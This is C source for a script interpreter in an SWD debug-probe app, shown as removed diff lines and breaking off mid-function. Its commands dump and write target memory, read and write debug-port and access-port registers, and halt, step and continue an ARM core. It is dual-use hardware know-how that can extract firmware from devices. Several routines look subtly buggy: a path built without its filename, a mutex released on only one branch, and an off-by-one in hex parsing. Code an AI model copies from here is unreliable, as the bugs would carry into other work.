bool swd_script_skip_whitespace(ScriptContext* ctx) { - while(true) { - uint8_t ch = 0; - uint64_t start_pos = 0; - - if(ctx->script_file) { - start_pos = storage_file_tell(ctx->script_file); - - if(storage_file_read(ctx->script_file, &ch, 1) != 1) { - return false; - } - } else { - start_pos = ctx->line_pos; - ch = ctx->line_data[ctx->line_pos]; - - if(ch == 0) { - return false; - } - ctx->line_pos++; - } - if(ch == '\n') { - return false; - } - if(ch != ' ') { - if(ctx->script_file) { - storage_file_seek(ctx->script_file, start_pos, true); - } else { - ctx->line_pos = start_pos; - } - return true; - } - } -} - -static bool swd_script_get_string(ScriptContext* ctx, char* str, size_t max_length) { - bool quot = false; - size_t pos = 0; - - str[pos] = '\000'; - - while(true) { - char ch = 0; - uint64_t start_pos = 0; - - if(ctx->script_file) { - start_pos = storage_file_tell(ctx->script_file); - - if(storage_file_read(ctx->script_file, &ch, 1) != 1) { - DBGS("end reached"); - return false; - } - } else { - start_pos = ctx->line_pos; - ch = ctx->line_data[ctx->line_pos]; - - if(ch == 0) { - DBGS("end reached"); - return false; - } - ctx->line_pos++; - } - - if(ch == '"') { - quot = !quot; - continue; - } - if(!quot) { - if(ch == ' ') { - break; - } - if(ch == '\r' || ch == '\n') { - if(ctx->script_file) { - storage_file_seek(ctx->script_file, start_pos, true); - } else { - ctx->line_pos = start_pos; - } - break; - } - } - if(pos + 2 > max_length) { - DBGS("too long"); - return false; - } - str[pos++] = ch; - str[pos] = '\000'; - } - DBG("got '%s'", str); - - return true; -} - -static bool swd_script_get_number(ScriptContext* ctx, uint32_t* number) { - char str[16]; - - if(!swd_script_get_string(ctx, str, sizeof(str))) { - DBGS("could not get string"); - return false; - } - DBG("got '%s'", str); - - size_t pos = 0; - *number = 0; - - /* hex number? */ - if(!strncmp(str, "0x", 2)) { - pos += 2; - while(str[pos]) { - uint8_t ch = str[pos++]; - uint8_t ch_num = ch - '0'; - uint8_t ch_hex = (ch & ~0x20) - 'A'; - - *number <<= 4; - - if(ch_num <= 10) { - *number += ch_num; - } else if(ch_hex <= 5) { - *number += 10 + ch_hex; - } else { - return false; - } - } - } else { - while(str[pos]) { - uint8_t ch = str[pos++]; - uint8_t ch_num = ch - '0'; - - *number *= 10; - - if(ch_num < 10) { - *number += ch_num; - } else { - return false; - } - } - } - - return true; -} - -static void swd_script_gui_refresh(ScriptContext* ctx) { - if(furi_message_queue_get_count(ctx->app->event_queue) > 0) { - swd_message_process(ctx->app); - } - if(!ctx->status_ignore) { - DBG("Status: %s", ctx->app->state_string); - view_port_update(ctx->app->view_port); - } -} - -/************************** script functions **************************/ - -static bool swd_scriptfunc_comment(ScriptContext* ctx) { - DBGS("comment"); - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_label(ScriptContext* ctx) { - char label[256]; - DBGS("label"); - - swd_script_skip_whitespace(ctx); - if(!swd_script_get_string(ctx, label, sizeof(label))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse label"); - return false; - } - - if(!strcmp(label, ctx->goto_label)) { - ctx->goto_active = false; - DBG("matches '%s'", ctx->goto_label); - } - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_goto(ScriptContext* ctx) { - DBGS("goto"); - - swd_script_skip_whitespace(ctx); - - if(!swd_script_get_string(ctx, ctx->goto_label, sizeof(ctx->goto_label))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse target label"); - return false; - } - - /* start from beginning and rerun starting from label */ - ctx->goto_active = true; - ctx->restart = true; - - swd_script_seek_newline(ctx); - - return true; -} - -#include - -static bool swd_scriptfunc_call(ScriptContext* ctx) { - DBGS("call"); - - swd_script_skip_whitespace(ctx); - - /* fetch previous file directory */ - FuriString* filepath = furi_string_alloc(); - path_extract_dirname(ctx->filename, filepath); - // strncpy(filename, ctx->filename, sizeof(filename)); - - char filename[MAX_FILE_LENGTH] = {}; - bool success = false; - do { - /* append filename */ - if(!swd_script_get_string(ctx, filename, sizeof(filename))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse filename"); - break; - } - - swd_script_seek_newline(ctx); - /* append extension */ - furi_string_cat_str(filepath, ".swd"); - - bool ret = swd_execute_script(ctx->app, furi_string_get_cstr(filepath)); - - if(!ret) { - swd_script_log( - ctx, FuriLogLevelError, "failed to exec '%s'", furi_string_get_cstr(filepath)); - break; - } - - success = true; - } while(false); - furi_string_free(filepath); - - return success; -} - -static bool swd_scriptfunc_status(ScriptContext* ctx) { - uint32_t status = 1; - DBGS("status"); - - swd_script_skip_whitespace(ctx); - swd_script_get_number(ctx, &status); - - ctx->status_ignore = (status == 0); - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_errors(ScriptContext* ctx) { - char type[32]; - DBGS("errors"); - - swd_script_skip_whitespace(ctx); - - if(!swd_script_get_string(ctx, type, sizeof(type))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse"); - return false; - } - - if(!strcmp(type, "ignore")) { - ctx->errors_ignore = true; - } - if(!strcmp(type, "fail")) { - ctx->errors_ignore = false; - } - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_beep(ScriptContext* ctx) { - uint32_t sound = 0; - DBGS("beep"); - - swd_script_skip_whitespace(ctx); - swd_script_get_number(ctx, &sound); - - notification_message_block(ctx->app->notification, seq_sounds[sound]); - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_message(ScriptContext* ctx) { - uint32_t wait_time = 0; - char message[256]; - char type[256]; - bool success = true; - bool show_dialog = false; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &wait_time)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse wait_time"); - return false; - } - - if(!swd_script_get_string(ctx, message, sizeof(message))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse message"); - return false; - } - - if(swd_script_get_string(ctx, type, sizeof(type))) { - if(!strcmp(type, "dialog")) { - show_dialog = true; - } - } - - if(wait_time <= 60 * 1000) { - strncpy(ctx->app->state_string, message, sizeof(ctx->app->state_string)); - swd_script_gui_refresh(ctx); - furi_delay_ms(wait_time); - if(show_dialog) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "SWD Probe", 16, 2, AlignLeft, AlignTop); - dialog_message_set_icon(message, &I_app, 3, 2); - dialog_message_set_text(message, ctx->app->state_string, 3, 16, AlignLeft, AlignTop); - dialog_message_set_buttons(message, "Abort", "Ok", NULL); - success = dialog_message_show(ctx->app->dialogs, message) == DialogMessageButtonCenter; - dialog_message_free(message); - } - } - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_swd_idle_bits(ScriptContext* ctx) { - uint32_t swd_idle_bits = 0; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &swd_idle_bits)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse"); - return false; - } - - if(swd_idle_bits <= 32) { - ctx->app->swd_idle_bits = swd_idle_bits; - } else { - swd_script_log(ctx, FuriLogLevelError, "value must be between 1 and 32"); - } - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_swd_clock_delay(ScriptContext* ctx) { - uint32_t swd_clock_delay = 0; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &swd_clock_delay)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse"); - return false; - } - - if(swd_clock_delay <= 1000000) { - ctx->app->swd_clock_delay = swd_clock_delay; - } else { - swd_script_log(ctx, FuriLogLevelError, "value must be between 1 and 1000000"); - } - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_maxtries(ScriptContext* ctx) { - uint32_t max_tries = 0; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &max_tries)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse"); - return false; - } - - if(max_tries >= 1 && max_tries <= 1024) { - ctx->max_tries = max_tries; - } else { - DBGS("value must be between 1 and 1024"); - } - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_blocksize(ScriptContext* ctx) { - uint32_t block_size = 0; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &block_size)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse"); - return false; - } - - if(block_size >= 4 && block_size <= 0x1000) { - ctx->block_size = block_size; - } else { - swd_script_log(ctx, FuriLogLevelError, "value must be between 4 and 4096"); - } - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_apselect(ScriptContext* ctx) { - uint32_t ap = 0; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &ap)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse AP"); - return false; - } - - if(!swd_apscan_test(ctx->app, ap)) { - swd_script_log(ctx, FuriLogLevelError, "no selected AP"); - return false; - } - - ctx->selected_ap = ap; - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_apscan(ScriptContext* ctx) { - DBGS("Scanning APs"); - for(uint32_t ap = 0; ap < 255; ap++) { - snprintf(ctx->app->state_string, sizeof(ctx->app->state_string), "Scan AP %lu", ap); - swd_script_gui_refresh(ctx); - if(swd_apscan_test(ctx->app, ap)) { - DBG(" AP%lu detected", ap); - } - } - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_abort(ScriptContext* ctx) { - DBGS("Aborting"); - swd_abort(ctx->app); - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_mem_dump(ScriptContext* ctx) { - char filename[MAX_FILE_LENGTH]; - uint32_t address = 0; - uint32_t length = 0; - uint32_t flags = 0; - bool success = true; - - /* get file */ - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_string(ctx, filename, sizeof(filename))) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse filename"); - return false; - } - /* get address */ - if(!swd_script_get_number(ctx, &address)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse address"); - return false; - } - - /* get length */ - if(!swd_script_get_number(ctx, &length)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse length"); - return false; - } - - /* get flags */ - if(swd_script_get_number(ctx, &flags)) { - DBGS("found extra flags"); - } - - LOG("would dump %08lX, len %08lX into %s", address, length, filename); - - File* dump = storage_file_alloc(ctx->app->storage); - - if(!storage_file_open(dump, filename, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_free(dump); - snprintf(ctx->app->state_string, sizeof(ctx->app->state_string), "Failed to create file"); - swd_script_gui_refresh(ctx); - notification_message_block(ctx->app->notification, &seq_error); - return false; - } - - if(ctx->block_size == 0) { - ctx->block_size = 0x100; - } - if(ctx->block_size > 0x1000) { - ctx->block_size = 0x1000; - } - - uint8_t* buffer = malloc(ctx->block_size); - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - for(uint32_t pos = 0; pos < length; pos += ctx->block_size) { - if((pos & 0xFF) == 0) { - int pct = pos * 100 / length; - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Dump %08lX (%d%%)", - pos, - pct); - swd_script_gui_refresh(ctx); - } - - bool read_ok = false; - - for(uint32_t tries = 0; tries < ctx->max_tries; tries++) { - if(ctx->abort) { - DBGS("aborting read"); - break; - } - uint32_t ret = 0; - - if(ctx->block_size > 4) { - ret = swd_read_memory_block( - ctx->app, ctx->selected_ap, address + pos, buffer, ctx->block_size); - } else { - ret = - swd_read_memory(ctx->app, ctx->selected_ap, address + pos, (uint32_t*)buffer); - } - read_ok = (ret == 1); - - if(!read_ok) { - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Failed at 0x%08lX", - address + pos); - swd_script_gui_refresh(ctx); - furi_delay_ms(100); - } else { - break; - } - } - if(ctx->abort) { - DBGS("aborting"); - break; - } - - if(!read_ok) { - /* flags == 1: "continue reading even if it fails" */ - /* flags == 2: "its okay if cannot dump fully" */ - if(flags & 1) { - /* set all content to a known value as indication */ - for(size_t fill_pos = 0; fill_pos < ctx->block_size; fill_pos += 4) { - *((uint32_t*)&buffer[fill_pos]) = 0xDEADFACE; - } - } else if(flags & 2) { - success = (pos > 0); - break; - } else { - notification_message_block(ctx->app->notification, &seq_error); - success = false; - break; - } - } - storage_file_write(dump, buffer, ctx->block_size); - } - - furi_mutex_release(ctx->app->swd_mutex); - - storage_file_close(dump); - swd_script_seek_newline(ctx); - free(buffer); - - return success; -} - -static bool swd_scriptfunc_mem_write(ScriptContext* ctx) { - uint32_t address = 0; - uint32_t data = 0; - bool success = true; - - /* get file */ - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get address */ - if(!swd_script_get_number(ctx, &address)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse address"); - return false; - } - - /* get data */ - if(!swd_script_get_number(ctx, &data)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse data"); - return false; - } - - DBG("write %08lX to %08lX", data, address); - - bool access_ok = false; - for(uint32_t tries = 0; tries < ctx->max_tries; tries++) { - if(ctx->abort) { - DBGS("aborting"); - break; - } - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - access_ok = swd_write_memory(ctx->app, ctx->selected_ap, address, data) == 1; - access_ok |= ctx->errors_ignore; - swd_read_memory(ctx->app, ctx->selected_ap, address, &data); - furi_mutex_release(ctx->app->swd_mutex); - - DBG("read %08lX from %08lX", data, address); - - if(!access_ok) { - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Failed write 0x%08lX", - address); - swd_script_gui_refresh(ctx); - } else { - break; - } - } - - if(!access_ok) { - notification_message_block(ctx->app->notification, &seq_error); - success = false; - } - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_mem_read(ScriptContext* ctx) { - uint32_t address = 0; - bool success = true; - - /* get file */ - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get address */ - if(!swd_script_get_number(ctx, &address)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse address"); - return false; - } - - DBG("read from %08lX", address); - - uint32_t data = 0; - bool access_ok = false; - for(uint32_t tries = 0; tries < ctx->max_tries; tries++) { - if(ctx->abort) { - DBGS("aborting"); - break; - } - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - access_ok = swd_read_memory(ctx->app, ctx->selected_ap, address, &data) == 1; - furi_mutex_release(ctx->app->swd_mutex); - - if(!access_ok) { - swd_script_log(ctx, FuriLogLevelError, "Failed to read from %08lX", address); - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Failed read 0x%08lX", - address); - swd_script_gui_refresh(ctx); - } else { - swd_script_log(ctx, FuriLogLevelDefault, "%08lX", data); - break; - } - } - - if(!access_ok) { - notification_message_block(ctx->app->notification, &seq_error); - success = false; - } - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_mem_ldmst(ScriptContext* ctx) { - uint32_t address = 0; - uint32_t data = 0; - uint32_t mask = 0; - bool success = true; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get address */ - if(!swd_script_get_number(ctx, &address)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse address"); - return false; - } - - /* get data */ - if(!swd_script_get_number(ctx, &data)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse data"); - return false; - } - - /* get mask */ - if(!swd_script_get_number(ctx, &mask)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse mask"); - return false; - } - - LOG("write %08lX to %08lX, mask %08lX", data, address, mask); - - bool access_ok = false; - uint32_t modified = 0; - for(uint32_t tries = 0; tries < ctx->max_tries; tries++) { - if(ctx->abort) { - DBGS("aborting"); - break; - } - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - access_ok = swd_read_memory(ctx->app, ctx->selected_ap, address, &modified) == 1; - modified = (modified & mask) | data; - access_ok &= swd_write_memory(ctx->app, ctx->selected_ap, address, modified) == 1; - - furi_mutex_release(ctx->app->swd_mutex); - access_ok |= ctx->errors_ignore; - - if(!access_ok) { - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Failed access 0x%08lX", - address); - swd_script_gui_refresh(ctx); - } else { - break; - } - } - - if(!access_ok) { - notification_message_block(ctx->app->notification, &seq_error); - success = false; - } - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_dp_write(ScriptContext* ctx) { - uint32_t dp_bank = 0; - uint32_t dp_off = 0; - uint32_t data = 0; - bool success = true; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get data */ - if(!swd_script_get_number(ctx, &data)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse data"); - return false; - } - - /* get dp_off */ - if(!swd_script_get_number(ctx, &dp_off)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse DP offset"); - return false; - } - - /* get dp_bank */ - if(!swd_script_get_number(ctx, &dp_bank)) { - dp_bank = 0xFF; - } - - swd_script_log( - ctx, FuriLogLevelDefault, "write %08lX to reg %08lX / bank %08lX", data, dp_off, dp_bank); - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - uint8_t ret = swd_write_dpbank(ctx->app, dp_off, dp_bank, &data); - if(ret != 1) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_dpbank failed"); - success = false; - } - - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_dp_read(ScriptContext* ctx) { - uint32_t dp_bank = 0; - uint32_t dp_off = 0; - uint32_t data = 0; - bool success = true; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get dp_off */ - if(!swd_script_get_number(ctx, &dp_off)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse DP offset"); - return false; - } - - /* get dp_bank */ - if(!swd_script_get_number(ctx, &dp_bank)) { - dp_bank = 0xFF; - } - - swd_script_log(ctx, FuriLogLevelDefault, "read reg %02lX / bank %02lX", dp_off, dp_bank); - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - uint8_t ret = swd_read_dpbank(ctx->app, dp_off, dp_bank, &data); - if(ret != 1) { - swd_script_log(ctx, FuriLogLevelError, "swd_read_dpbank failed"); - success = false; - } else { - swd_script_log(ctx, FuriLogLevelDefault, "result: 0x%08lX", data); - } - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_ap_write(ScriptContext* ctx) { - uint32_t ap_reg = 0; - uint32_t data = 0; - bool success = true; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get data */ - if(!swd_script_get_number(ctx, &data)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse data"); - return false; - } - - /* get ap_reg */ - if(!swd_script_get_number(ctx, &ap_reg)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse AP register"); - return false; - } - - swd_script_log( - ctx, FuriLogLevelDefault, "AP%d %08lX -> %02lX", ctx->selected_ap, data, ap_reg); - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - uint8_t ret = swd_write_ap(ctx->app, ctx->selected_ap, ap_reg, data); - if(ret != 1) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_ap failed"); - success = false; - } - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_ap_read(ScriptContext* ctx) { - uint32_t ap_reg = 0; - uint32_t data = 0; - bool success = true; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - /* get ap_reg */ - if(!swd_script_get_number(ctx, &ap_reg)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse AP register"); - return false; - } - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - uint8_t ret = swd_read_ap(ctx->app, ctx->selected_ap, ap_reg, &data); - if(ret != 1) { - swd_script_log(ctx, FuriLogLevelError, "swd_read_ap failed"); - success = false; - } else { - swd_script_log( - ctx, FuriLogLevelDefault, "AP%d %02lX: %08lX", ctx->selected_ap, ap_reg, data); - } - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return success; -} - -static bool swd_scriptfunc_core_halt(ScriptContext* ctx) { - bool succ = false; - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - uint32_t reg_dhcsr = SCS_DHCSR_KEY | SCS_DHCSR_C_HALT | SCS_DHCSR_C_DEBUGEN; - - succ = swd_write_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, reg_dhcsr) == 1; - - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_memory failed"); - } else { - swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, ®_dhcsr); - - if(!(reg_dhcsr & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core did not halt"); - succ = false; - } else { - swd_script_log(ctx, FuriLogLevelDefault, "Core halted"); - } - } - - furi_mutex_release(ctx->app->swd_mutex); - swd_script_seek_newline(ctx); - - return succ; -} - -static bool swd_scriptfunc_core_continue(ScriptContext* ctx) { - bool succ = false; - uint32_t data = 0; - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - succ = swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, &data) == 1; - - if(!(data & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core is not in debug state"); - succ = false; - } else { - succ = swd_write_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, SCS_DHCSR_KEY) == 1; - furi_mutex_release(ctx->app->swd_mutex); - } - - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_memory failed"); - } else { - swd_script_log(ctx, FuriLogLevelDefault, "Core continued"); - } - - swd_script_seek_newline(ctx); - - return succ; -} - -static bool swd_scriptfunc_core_step(ScriptContext* ctx) { - bool succ = false; - uint32_t data = 0; - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - succ = swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, &data) == 1; - - if(!(data & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core is not in debug state"); - succ = false; - } else { - succ = swd_write_memory( - ctx->app, - ctx->selected_ap, - SCS_DHCSR, - SCS_DHCSR_KEY | SCS_DHCSR_C_STEP | SCS_DHCSR_C_MASKINTS | - SCS_DHCSR_C_DEBUGEN) == 1; - } - furi_mutex_release(ctx->app->swd_mutex); - - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_memory failed"); - } else { - swd_script_log(ctx, FuriLogLevelDefault, "Core stepped"); - } - - swd_script_seek_newline(ctx); - - return succ; -} - -static struct cpu_regs_type { - uint8_t regsel; - const char* desc; -} cpu_regs[] = { - {0x00, "R00"}, {0x01, "R01"}, {0x02, "R02"}, {0x03, "R03"}, {0x04, "R04"}, - {0x05, "R05"}, {0x06, "R06"}, {0x07, "R07"}, {0x08, "R08"}, {0x09, "R09"}, - {0x0A, "R10"}, {0x0B, "R11"}, {0x0C, "R12"}, {0x0D, "SP/R13"}, {0x0E, "LR/R14"}, - {0x0F, "PC/R15"}, {0x10, "xPSR"}, {0x11, "MSP"}, {0x12, "PSP"}, {0x14, "Flags"}, - {0x21, "FPCSR"}, {0x40, "FP S00"}, {0x41, "FP S01"}, {0x42, "FP S02"}, {0x43, "FP S03"}, - {0x44, "FP S04"}, {0x45, "FP S05"}, {0x46, "FP S06"}, {0x47, "FP S07"}, {0x48, "FP S08"}, - {0x49, "FP S09"}, {0x4A, "FP S10"}, {0x4B, "FP S11"}, {0x4C, "FP S12"}, {0x4D, "FP S13"}, - {0x4E, "FP S14"}, {0x4F, "FP S15"}, {0x50, "FP S16"}, {0x51, "FP S17"}, {0x52, "FP S18"}, - {0x53, "FP S19"}, {0x54, "FP S20"}, {0x55, "FP S21"}, {0x56, "FP S22"}, {0x57, "FP S23"}, - {0x58, "FP S24"}, {0x59, "FP S25"}, {0x5A, "FP S26"}, {0x5B, "FP S27"}, {0x5C, "FP S28"}, - {0x5D, "FP S29"}, {0x5E, "FP S30"}, {0x5F, "FP S31"}}; - -static bool swd_scriptfunc_core_regs(ScriptContext* ctx) { - bool succ = false; - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - - uint32_t reg_dhcsr = 0; - uint32_t reg_cpacr = 0; - swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, ®_dhcsr); - swd_read_memory(ctx->app, ctx->selected_ap, SCS_CPACR, ®_cpacr); - - /* when FPU is enabled/available, CP10 and CP11 are implemented */ - bool has_fpu = ((reg_cpacr >> 20) & 0x0F) != 0; - - if(!(reg_dhcsr & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core is not in debug state"); - succ = false; - } else { - for(size_t pos = 0; pos < COUNT(cpu_regs); pos++) { - if(!has_fpu && (cpu_regs[pos].regsel >= 0x20)) { - continue; - } - uint32_t core_data = 0; - succ = - swd_write_memory( - ctx->app, ctx->selected_ap, SCS_DCRSR, SCS_DCRSR_RD | cpu_regs[pos].regsel) == - 1; - succ &= swd_read_memory(ctx->app, ctx->selected_ap, SCS_DCRDR, &core_data) == 1; - - if(!succ) { - swd_script_log(ctx, FuriLogLevelDefault, "%08s ----------", cpu_regs[pos].desc); - } else { - swd_script_log( - ctx, FuriLogLevelDefault, "%06s 0x%08X", cpu_regs[pos].desc, core_data); - } - } - } - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return true; -} - -static bool swd_scriptfunc_core_reg_get(ScriptContext* ctx) { - uint32_t core_reg = 0; - uint32_t core_data = 0; - bool succ = false; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &core_reg)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse register"); - return false; - } - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - uint32_t reg_dhcsr = 0; - uint32_t reg_cpacr = 0; - swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, ®_dhcsr); - swd_read_memory(ctx->app, ctx->selected_ap, SCS_CPACR, ®_cpacr); - - /* when FPU is enabled/available, CP10 and CP11 are implemented */ - bool has_fpu = ((reg_cpacr >> 20) & 0x0F) != 0; - - if(!(reg_dhcsr & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core is not in debug state"); - succ = false; - } else { - if(!has_fpu && (core_reg >= 0x20)) { - swd_script_log(ctx, FuriLogLevelError, "Core has no FP extensions"); - succ = false; - } else { - succ = swd_write_memory( - ctx->app, ctx->selected_ap, SCS_DCRSR, SCS_DCRSR_RD | core_reg) == 1; - succ &= swd_read_memory(ctx->app, ctx->selected_ap, SCS_DCRDR, &core_data) == 1; - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, "swd_write_memory failed"); - } - } - } - furi_mutex_release(ctx->app->swd_mutex); - - if(succ) { - swd_script_log(ctx, FuriLogLevelDefault, "0x%08X", core_data); - } - - swd_script_seek_newline(ctx); - - return succ; -} - -static bool swd_scriptfunc_core_reg_set(ScriptContext* ctx) { - uint32_t core_reg = 0; - uint32_t core_data = 0; - bool succ = false; - - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - - if(!swd_script_get_number(ctx, &core_reg)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse register"); - return false; - } - if(!swd_script_skip_whitespace(ctx)) { - swd_script_log(ctx, FuriLogLevelError, "missing whitespace"); - return false; - } - if(!swd_script_get_number(ctx, &core_data)) { - swd_script_log(ctx, FuriLogLevelError, "failed to parse data"); - return false; - } - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - uint32_t reg_dhcsr = 0; - uint32_t reg_cpacr = 0; - - swd_read_memory(ctx->app, ctx->selected_ap, SCS_DHCSR, ®_dhcsr); - swd_read_memory(ctx->app, ctx->selected_ap, SCS_CPACR, ®_cpacr); - - /* when FPU is enabled/available, CP10 and CP11 are implemented */ - bool has_fpu = ((reg_cpacr >> 20) & 0x0F) != 0; - - if(!(reg_dhcsr & SCS_DHCSR_S_HALT)) { - swd_script_log(ctx, FuriLogLevelError, "Core is not in debug state"); - succ = false; - } else { - if(!has_fpu && (core_reg >= 0x20)) { - swd_script_log(ctx, FuriLogLevelError, "Core has no FP extensions"); - succ = false; - } else { - succ = swd_write_memory(ctx->app, ctx->selected_ap, SCS_DCRDR, core_data) == 1; - succ &= swd_write_memory( - ctx->app, ctx->selected_ap, SCS_DCRSR, SCS_DCRSR_WR | core_reg) == 1; - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, 